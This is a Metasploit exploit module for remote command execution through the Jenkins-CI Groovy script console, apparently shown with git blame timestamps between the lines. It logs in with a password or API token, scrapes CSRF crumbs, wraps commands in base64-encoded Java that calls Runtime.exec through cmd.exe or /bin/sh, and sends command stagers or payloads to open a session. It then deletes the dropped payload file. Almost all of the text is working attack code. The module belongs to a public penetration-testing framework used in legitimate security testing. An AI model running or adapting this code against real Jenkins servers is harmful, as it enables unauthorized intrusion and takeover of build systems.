2013-01-18 14:56:52 -05:00
|
|
|
##
|
2017-07-24 06:26:21 -07:00
|
|
|
# This module requires Metasploit: https://metasploit.com/download
|
2013-10-15 13:50:46 -05:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2013-01-18 14:56:52 -05:00
|
|
|
##
|
|
|
|
|
|
2016-03-08 14:02:44 +01:00
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
2013-01-23 23:35:31 -06:00
|
|
|
Rank = GoodRanking
|
2013-08-30 16:28:54 -05:00
|
|
|
|
2013-01-18 14:56:52 -05:00
|
|
|
include Msf::Exploit::Remote::HttpClient
|
2014-02-07 18:46:19 -06:00
|
|
|
include Msf::Exploit::CmdStager
|
2023-05-30 11:35:33 +01:00
|
|
|
include Msf::Exploit::Remote::HTTP::Jenkins
|
2013-08-30 16:28:54 -05:00
|
|
|
|
2013-01-18 14:56:52 -05:00
|
|
|
def initialize(info = {})
|
2022-08-25 14:41:30 -04:00
|
|
|
super(
|
|
|
|
|
update_info(
|
|
|
|
|
info,
|
|
|
|
|
'Name' => 'Jenkins-CI Script-Console Java Execution',
|
|
|
|
|
'Description' => %q{
|
2015-09-04 10:25:51 -07:00
|
|
|
This module uses the Jenkins-CI Groovy script console to execute
|
2022-08-25 14:41:30 -04:00
|
|
|
OS commands using Java.
|
|
|
|
|
},
|
|
|
|
|
'Author' => [
|
2013-01-18 14:56:52 -05:00
|
|
|
'Spencer McIntyre',
|
2017-06-15 21:05:53 -04:00
|
|
|
'jamcut',
|
|
|
|
|
'thesubtlety'
|
2013-01-18 14:56:52 -05:00
|
|
|
],
|
2022-08-25 14:41:30 -04:00
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
|
'DefaultOptions' => {
|
|
|
|
|
'WfsDelay' => '10'
|
2013-01-18 14:56:52 -05:00
|
|
|
},
|
2022-08-25 14:41:30 -04:00
|
|
|
'References' => [
|
2013-01-18 14:56:52 -05:00
|
|
|
['URL', 'https://wiki.jenkins-ci.org/display/JENKINS/Jenkins+Script+Console']
|
|
|
|
|
],
|
2022-08-25 14:41:30 -04:00
|
|
|
'Platform' => %w[win linux unix],
|
|
|
|
|
'Targets' => [
|
|
|
|
|
[
|
|
|
|
|
'Windows',
|
2015-09-03 13:27:10 -05:00
|
|
|
{
|
2016-10-28 07:16:05 +10:00
|
|
|
'Arch' => [ ARCH_X64, ARCH_X86 ],
|
2015-09-03 13:27:10 -05:00
|
|
|
'Platform' => 'win',
|
|
|
|
|
'CmdStagerFlavor' => [ 'certutil', 'vbs' ]
|
|
|
|
|
}
|
|
|
|
|
],
|
2022-09-13 16:09:28 -04:00
|
|
|
['Linux', { 'Arch' => [ ARCH_X64, ARCH_X86 ], 'Platform' => 'linux' }],
|
2022-08-25 14:41:30 -04:00
|
|
|
['Unix CMD', { 'Arch' => ARCH_CMD, 'Platform' => 'unix', 'Payload' => { 'BadChars' => "\x22" } }]
|
2013-01-18 14:56:52 -05:00
|
|
|
],
|
2022-08-25 14:41:30 -04:00
|
|
|
'DisclosureDate' => '2013-01-18',
|
|
|
|
|
'DefaultTarget' => 0,
|
|
|
|
|
'Notes' => {
|
|
|
|
|
'Stability' => [ CRASH_SAFE, ],
|
2018-10-27 20:54:14 -04:00
|
|
|
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, ],
|
2022-08-25 14:41:30 -04:00
|
|
|
'Reliability' => [ REPEATABLE_SESSION, ]
|
|
|
|
|
}
|
|
|
|
|
)
|
|
|
|
|
)
|
2013-08-30 16:28:54 -05:00
|
|
|
|
2013-01-18 14:56:52 -05:00
|
|
|
register_options(
|
|
|
|
|
[
|
2022-08-25 14:41:30 -04:00
|
|
|
OptString.new('USERNAME', [ false, 'The username to authenticate as', '' ]),
|
|
|
|
|
OptString.new('PASSWORD', [ false, 'The password for the specified username', '' ]),
|
|
|
|
|
OptString.new('API_TOKEN', [ false, 'The API token for the specified username', '' ]),
|
|
|
|
|
OptString.new('TARGETURI', [ true, 'The path to the Jenkins-CI application', '/jenkins/' ])
|
|
|
|
|
]
|
|
|
|
|
)
|
2019-08-02 09:48:53 -05:00
|
|
|
|
|
|
|
|
self.needs_cleanup = true
|
2013-01-18 14:56:52 -05:00
|
|
|
end
|
2013-08-30 16:28:54 -05:00
|
|
|
|
2018-08-09 23:34:03 -05:00
|
|
|
def post_auth?
|
|
|
|
|
true
|
|
|
|
|
end
|
|
|
|
|
|
2013-01-18 14:56:52 -05:00
|
|
|
def check
|
2013-01-19 19:10:56 -05:00
|
|
|
uri = target_uri
|
|
|
|
|
uri.path = normalize_uri(uri.path)
|
2022-08-25 14:41:30 -04:00
|
|
|
uri.path << '/' if uri.path[-1, 1] != '/'
|
|
|
|
|
res = send_request_cgi({ 'uri' => "#{uri.path}login" })
|
|
|
|
|
if res && res.headers.include?('X-Jenkins')
|
2013-01-18 14:56:52 -05:00
|
|
|
return Exploit::CheckCode::Detected
|
|
|
|
|
else
|
|
|
|
|
return Exploit::CheckCode::Safe
|
|
|
|
|
end
|
|
|
|
|
end
|
2013-08-30 16:28:54 -05:00
|
|
|
|
2022-08-25 14:41:30 -04:00
|
|
|
def on_new_session(_client)
|
|
|
|
|
if !@to_delete.nil?
|
2013-01-20 13:42:02 +01:00
|
|
|
print_warning("Deleting #{@to_delete} payload file")
|
|
|
|
|
execute_command("rm #{@to_delete}")
|
|
|
|
|
end
|
|
|
|
|
end
|
2013-08-30 16:28:54 -05:00
|
|
|
|
2023-06-12 14:08:03 +01:00
|
|
|
# This method takes a command and options then attempts to make a request and returns a response
|
|
|
|
|
#
|
|
|
|
|
# @param [String] cmd The cmd used
|
|
|
|
|
# @param [String] _opts Request options
|
|
|
|
|
# @return [Rex::Proto::Http::Response, nil] res The result of the request
|
|
|
|
|
def http_send_request(cmd)
|
2013-01-19 19:10:56 -05:00
|
|
|
request_parameters = {
|
2022-08-25 14:41:30 -04:00
|
|
|
'method' => 'POST',
|
|
|
|
|
'uri' => normalize_uri(@uri.path, 'script'),
|
2017-06-15 21:05:53 -04:00
|
|
|
'authorization' => basic_auth(datastore['USERNAME'], datastore['API_TOKEN']),
|
2013-01-18 14:56:52 -05:00
|
|
|
'vars_post' =>
|
|
|
|
|
{
|
|
|
|
|
'script' => java_craft_runtime_exec(cmd),
|
|
|
|
|
'Submit' => 'Run'
|
|
|
|
|
}
|
2013-01-19 19:10:56 -05:00
|
|
|
}
|
2016-10-29 18:19:14 -04:00
|
|
|
request_parameters['vars_post'][@crumb[:name]] = @crumb[:value] unless @crumb.nil?
|
2023-06-12 14:08:03 +01:00
|
|
|
send_request_cgi(request_parameters)
|
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
# This method takes a command and options then attempts to make a request to send the command
|
|
|
|
|
#
|
|
|
|
|
# @param [String] cmd The cmd used
|
|
|
|
|
# @param [String] _opts Request options
|
|
|
|
|
# @return [Rex::Proto::Http::Response] res The response of the request
|
|
|
|
|
def http_send_command(cmd, _opts = {})
|
|
|
|
|
res = http_send_request(cmd)
|
|
|
|
|
|
|
|
|
|
fail_with(Failure::Unknown, 'Failed to execute the command.') if res.nil?
|
|
|
|
|
|
|
|
|
|
# Attempt to login if we haven't previously
|
|
|
|
|
if res.code == 401 && !@attempted_login
|
|
|
|
|
print_status('Authentication required for Jenkins-CI Groovy script console - Logging in...')
|
|
|
|
|
attempt_jenkins_login
|
|
|
|
|
res = http_send_request(cmd)
|
2013-01-18 14:56:52 -05:00
|
|
|
end
|
2023-06-12 14:08:03 +01:00
|
|
|
|
|
|
|
|
fail_with(Failure::Unreachable, "#{peer} - Could not connect to Jenkins - no response") if res.nil?
|
|
|
|
|
fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected HTTP response code: #{res.code}") if res.code != 200
|
|
|
|
|
|
|
|
|
|
res
|
2013-01-18 14:56:52 -05:00
|
|
|
end
|
2013-08-30 16:28:54 -05:00
|
|
|
|
2013-01-18 14:56:52 -05:00
|
|
|
def java_craft_runtime_exec(cmd)
|
2022-08-25 14:37:37 -04:00
|
|
|
vars = Rex::RandomIdentifier::Generator.new(
|
|
|
|
|
Rex::RandomIdentifier::Generator::JavaOpts
|
|
|
|
|
)
|
2022-08-25 14:05:10 -04:00
|
|
|
jcode = <<~JCODE
|
2022-08-25 14:37:37 -04:00
|
|
|
String #{vars[:encoded]} = "#{Rex::Text.encode_base64(cmd)}";
|
|
|
|
|
byte[] #{vars[:decoded]};
|
2022-08-25 14:05:10 -04:00
|
|
|
try {
|
2022-09-13 15:08:23 -04:00
|
|
|
#{vars[:decoded]} = Base64.getDecoder().decode(#{vars[:encoded]});
|
2022-08-25 14:05:10 -04:00
|
|
|
} catch(groovy.lang.MissingPropertyException e) {
|
2022-09-13 15:08:23 -04:00
|
|
|
Object #{vars[:decoder]} = Eval.me("new sun.misc.BASE64Decoder()");
|
|
|
|
|
#{vars[:decoded]} = #{vars[:decoder]}.decodeBuffer(#{vars[:encoded]});
|
2022-08-25 14:05:10 -04:00
|
|
|
}
|
|
|
|
|
JCODE
|
|
|
|
|
|
2022-08-25 14:37:37 -04:00
|
|
|
jcode << "String[] #{vars[:cmd_array]} = new String[3];\n"
|
2013-01-18 14:56:52 -05:00
|
|
|
if target['Platform'] == 'win'
|
2022-08-25 14:37:37 -04:00
|
|
|
jcode << "#{vars[:cmd_array]}[0] = \"cmd.exe\";\n"
|
|
|
|
|
jcode << "#{vars[:cmd_array]}[1] = \"/c\";\n"
|
2013-01-18 14:56:52 -05:00
|
|
|
else
|
2022-08-25 14:37:37 -04:00
|
|
|
jcode << "#{vars[:cmd_array]}[0] = \"/bin/sh\";\n"
|
|
|
|
|
jcode << "#{vars[:cmd_array]}[1] = \"-c\";\n"
|
2013-01-18 14:56:52 -05:00
|
|
|
end
|
2022-08-25 14:37:37 -04:00
|
|
|
jcode << "#{vars[:cmd_array]}[2] = new String(#{vars[:decoded]}, \"UTF-8\");\n"
|
|
|
|
|
jcode << "Runtime.getRuntime().exec(#{vars[:cmd_array]});\n"
|
2013-01-18 14:56:52 -05:00
|
|
|
jcode
|
|
|
|
|
end
|
2013-08-30 16:28:54 -05:00
|
|
|
|
2022-08-25 14:41:30 -04:00
|
|
|
def execute_command(cmd, _opts = {})
|
2013-01-20 13:42:02 +01:00
|
|
|
vprint_status("Attempting to execute: #{cmd}")
|
2022-08-25 14:41:30 -04:00
|
|
|
http_send_command(cmd.to_s)
|
2013-01-18 14:56:52 -05:00
|
|
|
end
|
2013-08-30 16:28:54 -05:00
|
|
|
|
2023-06-12 14:08:03 +01:00
|
|
|
# This method makes calls to multiple methods to handle Jenkins login attempts
|
|
|
|
|
def attempt_jenkins_login
|
|
|
|
|
@attempted_login = true
|
|
|
|
|
login_uri = jenkins_uri_check(@uri, keep_cookies: true)
|
|
|
|
|
status, _proof = jenkins_login(datastore['USERNAME'], datastore['PASSWORD'], login_uri)
|
|
|
|
|
|
|
|
|
|
if status == Metasploit::Model::Login::Status::INCORRECT
|
|
|
|
|
fail_with(Msf::Module::Failure::NoAccess, "Incorrect credentials - #{datastore['USERNAME']}:#{datastore['PASSWORD']}")
|
|
|
|
|
elsif status == Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
|
|
|
|
|
fail_with(Msf::Module::Failure::UnexpectedReply, 'Unexpected reply from server')
|
|
|
|
|
end
|
|
|
|
|
end
|
|
|
|
|
|
2013-01-18 14:56:52 -05:00
|
|
|
def exploit
|
2023-06-12 14:08:03 +01:00
|
|
|
@attempted_login = false
|
2013-01-19 19:10:56 -05:00
|
|
|
@uri = target_uri
|
|
|
|
|
@uri.path = normalize_uri(@uri.path)
|
2022-08-25 14:41:30 -04:00
|
|
|
@uri.path << '/' if @uri.path[-1, 1] != '/'
|
2013-01-18 14:56:52 -05:00
|
|
|
print_status('Checking access to the script console')
|
2022-08-25 14:41:30 -04:00
|
|
|
res = send_request_cgi({ 'uri' => "#{@uri.path}script" })
|
|
|
|
|
fail_with(Failure::Unknown, 'No Response received') if !res
|
2013-08-30 16:28:54 -05:00
|
|
|
|
2014-10-14 19:33:23 -05:00
|
|
|
@crumb = nil
|
2013-01-18 14:56:52 -05:00
|
|
|
if res.code != 200
|
2022-08-25 14:41:30 -04:00
|
|
|
if datastore['API_TOKEN'].present?
|
|
|
|
|
print_status('Authenticating with token...')
|
|
|
|
|
res = send_request_cgi({
|
|
|
|
|
'method' => 'GET',
|
|
|
|
|
'uri' => normalize_uri(@uri.path, 'crumbIssuer/api/json'),
|
|
|
|
|
'authorization' => basic_auth(datastore['USERNAME'], datastore['API_TOKEN'])
|
|
|
|
|
})
|
|
|
|
|
if (res && (res.code == 401))
|
|
|
|
|
fail_with(Failure::NoAccess, 'Login failed')
|
|
|
|
|
end
|
|
|
|
|
else
|
|
|
|
|
print_status('Logging in...')
|
2023-06-12 14:08:03 +01:00
|
|
|
attempt_jenkins_login
|
2022-09-13 15:08:23 -04:00
|
|
|
res = send_request_cgi({ 'uri' => "#{@uri.path}script" })
|
2023-06-12 14:08:03 +01:00
|
|
|
|
|
|
|
|
if res.code == 403
|
|
|
|
|
fail_with(Failure::NoAccess, "#{datastore['USERNAME']} does not have permissions to complete this request")
|
|
|
|
|
elsif res.code != 200
|
|
|
|
|
fail_with(Failure::UnexpectedReply, 'Unexpected reply from server')
|
|
|
|
|
end
|
2022-08-25 14:41:30 -04:00
|
|
|
end
|
2013-01-18 14:56:52 -05:00
|
|
|
else
|
|
|
|
|
print_status('No authentication required, skipping login...')
|
|
|
|
|
end
|
2013-08-30 16:28:54 -05:00
|
|
|
|
2016-10-29 18:19:14 -04:00
|
|
|
if res.body =~ /"\.crumb", "([a-z0-9]*)"/
|
2022-08-25 14:41:30 -04:00
|
|
|
print_status("Using CSRF token: '#{Regexp.last_match(1)}' (.crumb style)")
|
|
|
|
|
@crumb = { name: '.crumb', value: Regexp.last_match(1) }
|
2017-06-19 17:35:41 -05:00
|
|
|
elsif res.body =~ /crumb\.init\("Jenkins-Crumb", "([a-z0-9]*)"\)/ || res.body =~ /"crumb":"([a-z0-9]*)"/
|
2022-09-13 15:08:23 -04:00
|
|
|
print_status("Using CSRF token: '#{Regexp.last_match(1)}' (Jenkins-Crumb style v1)")
|
|
|
|
|
@crumb = { name: 'Jenkins-Crumb', value: Regexp.last_match(1) }
|
|
|
|
|
elsif res.body =~ /data-crumb-value="([a-z0-9]*)"/
|
|
|
|
|
print_status("Using CSRF token: '#{Regexp.last_match(1)}' (Jenkins-Crumb style v2)")
|
2022-08-25 14:41:30 -04:00
|
|
|
@crumb = { name: 'Jenkins-Crumb', value: Regexp.last_match(1) }
|
2014-10-14 19:33:23 -05:00
|
|
|
end
|
|
|
|
|
|
2013-01-18 14:56:52 -05:00
|
|
|
case target['Platform']
|
|
|
|
|
when 'win'
|
2014-06-28 17:40:49 -04:00
|
|
|
print_status("#{rhost}:#{rport} - Sending command stager...")
|
2022-08-25 14:41:30 -04:00
|
|
|
execute_cmdstager({ linemax: 2049 })
|
2013-01-18 14:56:52 -05:00
|
|
|
when 'unix'
|
|
|
|
|
print_status("#{rhost}:#{rport} - Sending payload...")
|
2022-08-25 14:41:30 -04:00
|
|
|
http_send_command(payload.encoded.to_s)
|
2013-01-20 13:42:02 +01:00
|
|
|
when 'linux'
|
|
|
|
|
print_status("#{rhost}:#{rport} - Sending Linux stager...")
|
2022-09-13 16:09:28 -04:00
|
|
|
execute_cmdstager({ linemax: 2049 })
|
2013-01-18 14:56:52 -05:00
|
|
|
end
|
2013-08-30 16:28:54 -05:00
|
|
|
|
2013-01-18 14:56:52 -05:00
|
|
|
handler
|
|
|
|
|
end
|
|
|
|
|
end
|